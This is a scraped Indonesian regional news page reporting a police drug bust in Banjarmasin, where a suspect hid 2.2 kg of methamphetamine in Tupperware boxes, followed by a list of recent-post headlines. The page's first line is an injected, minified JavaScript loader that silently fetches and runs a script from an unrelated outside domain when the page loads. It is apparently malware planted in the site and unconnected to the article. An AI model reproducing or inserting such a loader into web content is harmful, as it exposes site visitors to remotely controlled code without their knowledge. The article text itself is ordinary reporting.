(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

Mengaku Cuma Pemakai, Kai Wili Simpan 2,2 Kg Sabu dalam Tupperware


BANJARMASIN, Dari total 2,825 kg sabu yang dimusnahkan jajaran Polda Kalsel, Selasa (2/7) pagi, barang bukti terbanyak berasal dari pengungkapan kasus dengan tersangka Athma alias Kai (kakek) Wili (54) sebanyak 2,2 kg. Untuk mengelabuhi petugas, Kai Wili membagi sabu itu menjadi 26 paket besar yang dimasukkannya dalam empat kotak tupperware di dalam lemari TV.

Menurut Direktur Resnarkoba Polda Kalsel Kombes Wisnu Widarto mengatakan, terungkapnya kasus tersebut berawal dari informasi masyarakat yang dikembangkan polisi. Hingga kemudian, menggiring pada tersangka Kai Wili yang diduga sebagai pengedar sabu dalam jumlah cukup besar.

“Petugas menangkap tersangka di rumahnya di Jalan Rawasari, Kompleks Tirta Sari, Teluk Dalam, Banjarmasin Tengah, pada Kamis (16/5) dini hari,” katanya.

“Saat penangkapan tersangka, juga ditemukan barang bukti seperti timbangan digital, empat pack plastik klip, dua rol aluminium foil, satu alat pres, dua bulah labkan dan tiga ponsel, satu TIM serta lima buku catatan traksi dan uang tunai Rp 1,6 juta.

Saat itu, Kai Wili mengaku hanya menyimpan sabu seberat 2,2 kg. Ia berdalih tidak menjualnya, karena hanya untuk dipakai sendiri. Pengakuan Kai Wili ini membuat awak media dan polisi tertawa mendengarnya.

Dengan barang bukti, Kai Wili pun kini dijerat pasal berlapis. Direktur Reserse Narkoba Polda Kalsel menyebut pasal yang dikenakan adalah Pasal 114 ayat (2) jo Pasal 112 (2) UU Nomor 35 Tahun 2009. “Ancaman maksimalnya adalah hukuman mati,” tegasnya.

Selain dari Kai Wili, barang bukti terbesar kedua didapat dari pengungkapan kasus sabu jaringan Lapas Kelas IIA Banjarmasin sebanyak 539,71 gram. Dalam hal ini, polisi berhasil mengamankan dua tersangka, yang salah satunya adalah penghuni lapas Teluk Dalam.

Jaringan pengedar yang dikendalikan narapidana bernama Taufiq Sidqi (45) itu diungkap Tim Subdit 1 Ditresnarkoba Polda Kalsel yang dipimpin Kompol Ugeng Sudia Permana. Awalnya petugas menangkap tersangka lain bernama Dwi Cahya Kurniawan (35) pada Jumat, 21 Juni 2019 di rumahnya, Jalan Mahligai Kompleks Marhamah, Desa Kertak Hanyar, Kecamatan Kertak Hanyar, Kabupaten Banjar. Dari tangan bersangkutan, polisi menemukan 14 paket sabu dengan berat 539,71 gram.(rico)

Reporter:Rico
Editor:Cell

Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.